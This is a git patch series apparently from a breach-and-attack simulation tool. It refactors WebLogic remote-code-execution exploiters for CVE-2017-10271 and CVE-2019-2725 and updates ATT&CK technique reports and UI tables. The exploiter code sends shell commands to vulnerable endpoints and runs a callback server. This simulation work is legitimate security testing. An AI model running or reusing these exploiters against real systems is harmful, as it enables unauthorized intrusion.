b/monkey/infection_monkey/exploit/weblogic.py @@ -20,8 +20,8 @@ __author__ = "VakarisZ" LOG = logging.getLogger(__name__) # How long server waits for get request in seconds SERVER_TIMEOUT = 4 -# How long should we wait after each request in seconds -REQUEST_DELAY = 0.1 +# How long should be wait after each request in seconds +REQUEST_DELAY = 0.0001 # How long to wait for a sign(request from host) that server is vulnerable. In seconds REQUEST_TIMEOUT = 5 # How long to wait for response in exploitation. In seconds diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py index cd1a538cb..a92758cbc 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py @@ -13,8 +13,8 @@ class T1003(AttackTechnique): used_msg = "Monkey successfully obtained some credentials from systems on the network." query = {'telem_category': 'system_info_collection', '$and': [{'data.credentials': {'$exists': True}}, - # $gt: {} checks if field is not an empty object - {'data.credentials': {'$gt': {}}}]} + # $gt: {} checks if field is not an empty object + {'data.credentials': {'$gt': {}}}]} @staticmethod def get_report_data(): diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py index 488a8f547..328c11112 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py @@ -14,10 +14,13 @@ class T1059(AttackTechnique): query = [{'$match': {'telem_category': 'exploit', 'data.info.executed_cmds': {'$exists': True, '$ne': []}}}, + {'$unwind': '$data.info.executed_cmds'}, + {'$sort': {'data.info.executed_cmds.powershell': 1}}, {'$project': {'_id': 0, 'machine': '$data.machine', 'info': '$data.info'}}, - {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}] + {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}, + {'$project': {'_id': 0, 'data': {'$arrayElemAt': ['$data', 0]}}}] @staticmethod def get_report_data(): diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py index 8e550cfcf..4114047c5 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py @@ -12,11 +12,16 @@ class T1086(AttackTechnique): scanned_msg = "" used_msg = "Monkey successfully ran powershell commands on exploited machines in the network." - query = [{'$match': {'telem_type': 'exploit', - 'data.info.executed_cmds.example': {'$elemMatch': {'powershell': True}}}}, - {'$project': {'_id': 0, - 'machine': '$data.machine', + query = [{'$match': {'telem_category': 'exploit', + 'data.info.executed_cmds': {'$elemMatch': {'powershell': True}}}}, + {'$project': {'machine': '$data.machine', 'info': '$data.info'}}, + {'$project': {'_id': 0, + 'machine': 1, + 'info.finished': 1, + 'info.executed_cmds': {'$filter': {'input': '$info.executed_cmds', + 'as': 'command', + 'cond': {'$eq': ['$$command.powershell', True]}}}}}, {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}] @staticmethod diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js index abca8987a..57d5bcb2c 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js @@ -14,14 +14,13 @@ class T1059 extends React.Component { return ([{ Header: 'Example commands used', columns: [ - {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 }, - {Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }}, - {Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: { 'whiteSpace': 'unset' }}, + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data.machine), style: { 'whiteSpace': 'unset'}, width: 160 }, + {Header: 'Approx. Time', id: 'time', accessor: x => x.data.info.finished, style: { 'whiteSpace': 'unset' }}, + {Header: 'Command', id: 'command', accessor: x => x.data.info.executed_cmds.cmd, style: { 'whiteSpace': 'unset' }}, ] }])}; render() { - console.log(this.props.data); return (
    {this.props.data.message}
    diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js index d0b7c2928..d6d22c093 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { RenderMachine } from "./Helpers" +import { renderMachine } from "./Helpers" class T1086 extends React.Component { @@ -14,9 +14,9 @@ class T1086 extends React.Component { return ([{ Header: 'Example Powershell commands used', columns: [ - {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 }, + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 }, {Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }}, - {Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds.powershell, style: { 'whiteSpace': 'unset' }}, + {Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: { 'whiteSpace': 'unset' }}, ] }])}; From 737c735f8f4a5382c91495f4bb1a4f705560dd3c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 26 Jun 2019 17:02:44 +0300 Subject: [PATCH 28/31] Updated attack report in pass the hash --- monkey/monkey_island/cc/services/attack/attack_report.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 35dd87676..43bdeb411 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,6 +1,5 @@ import logging -from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110 -from monkey_island.cc.services.attack.attack_telem import AttackTelemService +from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo From e4bb468cc2fabca1b71dcd1b41e0a53141551c8c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 26 Jun 2019 17:06:35 +0300 Subject: [PATCH 29/31] Updated attack report in powershell --- monkey/monkey_island/cc/services/attack/attack_report.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 3fccd3cd9..01990ff78 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,6 +1,5 @@ import logging -from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059 -from monkey_island.cc.services.attack.attack_telem import AttackTelemService +from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo From c5e1b0a93f3a32cd9fbd6236131f3d4d429bce1e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 1 Jul 2019 13:53:37 +0300 Subject: [PATCH 30/31] WeblogicExploiter class refactored to only handle vulnerability execution. --- monkey/infection_monkey/exploit/weblogic.py | 112 ++++++++++-------- .../cc/services/config_schema.py | 2 +- .../cc/ui/src/components/pages/ReportPage.js | 8 +- 3 files changed, 65 insertions(+), 57 deletions(-) diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index 83439e64f..300f52f0e 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -1,3 +1,48 @@ +from __future__ import print_function +import threading +import logging +import time +import copy + +from requests import post, exceptions +from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer + +from infection_monkey.exploit.web_rce import WebRCE +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target + + +__author__ = "VakarisZ" + +LOG = logging.getLogger(__name__) +# How long server waits for get request in seconds +SERVER_TIMEOUT = 4 +# How long should we wait after each request in seconds +REQUEST_DELAY = 0.1 +# How long to wait for a sign(request from host) that server is vulnerable. In seconds +REQUEST_TIMEOUT = 5 +# How long to wait for response in exploitation. In seconds +EXECUTION_TIMEOUT = 15 +# Malicious requests' headers: +HEADERS = { + "Content-Type": "text/xml;charset=UTF-8", + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) " + "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36" +} + + +class WebLogicExploiter(HostExploiter): + + _TARGET_OS_TYPE = ['linux', 'windows'] + _EXPLOITED_SERVICE = 'Weblogic' + + def exploit_host(self): + exploiters = [WebLogic20192725, WebLogic201710271] + for exploiter in exploiters: + if exploiter(self.host).exploit_host(): + return True + + # Exploit based of: # Kevin Kirsche (d3c3pt10n) # https://github.com/kkirsche/CVE-2017-10271 @@ -5,31 +50,7 @@ # Luffin from Github # https://github.com/Luffin/CVE-2017-10271 # CVE: CVE-2017-10271 -from __future__ import print_function -from requests import post, exceptions -from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target -from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer - -import threading -import logging -import time -import copy - -__author__ = "VakarisZ" - -LOG = logging.getLogger(__name__) -# How long server waits for get request in seconds -SERVER_TIMEOUT = 4 -# How long should be wait after each request in seconds -REQUEST_DELAY = 0.1 -# How long to wait for a sign(request from host) that server is vulnerable. In seconds -REQUEST_TIMEOUT = 5 -# How long to wait for response in exploitation. In seconds -EXECUTION_TIMEOUT = 15 - - -class WebLogicExploiter(WebRCE): +class WebLogic201710271(WebRCE): URLS = ["/wls-wsat/CoordinatorPortType", "/wls-wsat/CoordinatorPortType11", "/wls-wsat/ParticipantPortType", @@ -38,44 +59,29 @@ class WebLogicExploiter(WebRCE): "/wls-wsat/RegistrationPortTypeRPC11", "/wls-wsat/RegistrationRequesterPortType", "/wls-wsat/RegistrationRequesterPortType11"] - # Malicious request's headers: - HEADERS = { - "Content-Type": "text/xml;charset=UTF-8", - "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) " - "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36" - } - _TARGET_OS_TYPE = ['linux', 'windows'] - _EXPLOITED_SERVICE = 'Weblogic' + + _TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE + _EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE def __init__(self, host): - super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh', + super(WebLogic201710271, self).__init__(host, {'linux': '/tmp/monkey.sh', 'win32': 'monkey32.exe', 'win64': 'monkey64.exe'}) def get_exploit_config(self): - exploit_config = super(WebLogicExploiter, self).get_exploit_config() + exploit_config = super(WebLogic201710271, self).get_exploit_config() exploit_config['blind_exploit'] = True exploit_config['stop_checking_urls'] = True - exploit_config['url_extensions'] = WebLogicExploiter.URLS + exploit_config['url_extensions'] = WebLogic201710271.URLS return exploit_config - def exploit_host(self): - exploiters = [WebLogic20192725] - for exploiter in exploiters: - if exploiter(self.host).exploit_host(): - return True - if super(WebLogicExploiter, self).exploit_host(): - return True - else: - return False - def exploit(self, url, command): if 'linux' in self.host.os['type']: payload = self.get_exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null') else: payload = self.get_exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL') try: - post(url, data=payload, headers=WebLogicExploiter.HEADERS, timeout=EXECUTION_TIMEOUT, verify=False) + post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False) except Exception as e: LOG.error("Connection error: %s" % e) return False @@ -111,7 +117,7 @@ class WebLogicExploiter(WebRCE): def check_if_exploitable_weblogic(self, url, httpd): payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port) try: - post(url, data=payload, headers=WebLogicExploiter.HEADERS, timeout=REQUEST_DELAY, verify=False) + post(url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False) except exceptions.ReadTimeout: # Our request will not get response thus we get ReadTimeout error pass @@ -207,6 +213,7 @@ class WebLogicExploiter(WebRCE): Http server built to wait for GET requests. Because oracle web logic vuln is blind, we determine if we can exploit by either getting a GET request from host or not. """ + def __init__(self, local_ip, local_port, lock, max_requests=1): self.local_ip = local_ip self.local_port = local_port @@ -223,6 +230,7 @@ class WebLogicExploiter(WebRCE): def do_GET(): LOG.info('Server received a request from vulnerable machine') self.get_requests += 1 + LOG.info('Server waiting for exploited machine request...') httpd = HTTPServer((self.local_ip, self.local_port), S) httpd.daemon = True @@ -243,8 +251,8 @@ class WebLogicExploiter(WebRCE): class WebLogic20192725(WebRCE): URLS = ["_async/AsyncResponseServiceHttps"] - _TARGET_OS_TYPE = ['linux', 'windows'] - _EXPLOITED_SERVICE = 'Weblogic' + _TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE + _EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE def __init__(self, host): super(WebLogic20192725, self).__init__(host) @@ -262,14 +270,14 @@ class WebLogic20192725(WebRCE): else: payload = self.get_exploit_payload('cmd', '/c', command) try: - resp = post(url, data=payload, headers=WebLogicExploiter.HEADERS, timeout=EXECUTION_TIMEOUT) + resp = post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT) return resp except Exception as e: LOG.error("Connection error: %s" % e) return False def check_if_exploitable(self, url): - headers = copy.deepcopy(WebLogicExploiter.HEADERS).update({'SOAPAction': ''}) + headers = copy.deepcopy(HEADERS).update({'SOAPAction': ''}) res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT) if res.status_code == 500 and "env:Client" in res.text: return True diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 46129266c..4c4df247e 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -89,7 +89,7 @@ SCHEMA = { "enum": [ "WebLogicExploiter" ], - "title": "Oracle Web Logic Exploiter" + "title": "WebLogic Exploiter" }, { "type": "string", diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 40ef7ba7f..52e8cbdfb 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -343,9 +343,7 @@ class ReportPageComponent extends AuthComponent { href="https://cwiki.apache.org/confluence/display/WW/S2-045"> CVE-2017-5638) : null } {this.state.report.overview.issues[this.Issue.WEBLOGIC] ? -
  • Oracle WebLogic servers are vulnerable to remote code execution. ( - CVE-2017-10271)
  • : null } +
  • Oracle WebLogic servers are susceptible to a remote code execution vulnerability.
  • : null } {this.state.report.overview.issues[this.Issue.HADOOP] ?
  • Hadoop/Yarn servers are vulnerable to remote code execution.
  • : null } {this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ? @@ -895,7 +893,9 @@ class ReportPageComponent extends AuthComponent { className="label label-info" style={{margin: '2px'}}>{issue.ip_address}) is vulnerable to one of remote code execution attacks.
    - The attack was made possible due to one of the following vulnerabilities: CVE-2017-10271 or CVE-2019-2725 + The attack was made possible due to one of the following vulnerabilities: + CVE-2017-10271 or + CVE-2019-2725 ); From f50bdca80131a9887411437bc6e62884b21f0478 Mon Sep 17 00:00:00 2001 From: itay Date: Sun, 7 Jul 2019 11:14:19 +0300 Subject: [PATCH 31/31] Remove console.log --- .../cc/ui/src/components/attack/techniques/T1059.js | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js index abca8987a..5cc48a4c9 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js @@ -21,7 +21,6 @@ class T1059 extends React.Component { }])}; render() { - console.log(this.props.data); return (
    {this.props.data.message}